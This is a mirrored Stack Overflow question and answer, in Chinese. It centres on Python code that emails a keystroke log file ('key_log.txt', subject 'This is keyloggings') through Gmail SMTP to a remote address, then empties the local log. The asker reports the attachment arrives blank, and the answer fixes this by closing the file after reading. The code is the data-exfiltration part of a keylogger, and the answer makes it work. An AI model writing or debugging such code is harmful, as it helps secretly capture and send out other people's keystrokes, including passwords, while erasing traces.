gpt4 book ai didi

python - 接收作为空白文件的电子邮件附件

转载 作者:太空宇宙 更新时间:2023-11-03 21:39:44 25 4
gpt4 key购买 nike

这是我写的代码...

这会向我发送一个空白的 .txt 文件作为附件,尽管其中包含数据...

 email_user = 'user@gmail.com'
email_password = '********'
email_send = 'send@gmail.com'

subject = 'This is keyloggings '

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'This is keyloggings'
msg.attach(MIMEText(body,'plain'))

filename = 'key_log.txt'
attachment = open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment;filename= %s" %filename)

msg.attach(part)

server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(email_user,email_password)
text = msg.as_string()
server.sendmail(email_user,email_send,text)
server.quit()

#the below code overwrites the file after sending email
open('C:/Users/sutha/OneDrive/Desktop/keylogger.txt','w').close()

最佳答案

读取文件后,您需要关闭该文件。

part.set_payload((attachment).read())之后添加,

# Close opened file
attachment.close()

当您使用它时,将 part.set_payload((attachment).read()) 更改为您不使用的 part.set_payload(attachment.read())不需要将变量括在圆括号中。

此外,更好的方法是使用 with 来关闭文件本身,

with open(filename,'rb') as attachment:
part.set_payload(attachment.read())

关于python - 接收作为空白文件的电子邮件附件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52960959/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com